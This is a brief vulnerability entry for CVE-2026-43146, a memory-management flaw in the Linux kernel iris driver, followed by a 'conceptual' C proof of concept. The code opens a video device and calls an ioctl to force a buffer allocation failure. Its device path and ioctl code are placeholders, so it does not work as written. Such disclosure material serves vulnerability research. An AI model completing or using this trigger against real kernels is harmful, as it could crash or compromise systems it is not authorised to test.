CVE-2026-43146 Linux内核iris驱动内存管理漏洞

/* * Conceptual PoC for CVE-2026-43146 * This PoC attempts to trigger the buffer allocation failure * in the iris driver by stressing memory and invoking the driver. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Placeholder for actual device path and ioctl code #define DEVICE_PATH "/dev/videoX" #define IOCTL_ALLOC_BUFFERS 0xXYZ int main() { int fd; printf("[*] Attempting to open iris device...\n"); fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[*] Triggering buffer allocation under memory pressure...\n"); // In a real scenario, memory pressure would be induced beforehand // to force dma_alloc_attrs to fail. if (ioctl(fd, IOCTL_ALLOC_BUFFERS, NULL) < 0) { // Expecting -ENOMEM, but the vulnerability is the side effect printf("[+] Triggered allocation failure (expected).\n"); } close(fd); printf("[*] Check kernel logs for inconsistencies or crashes.\n"); return 0; }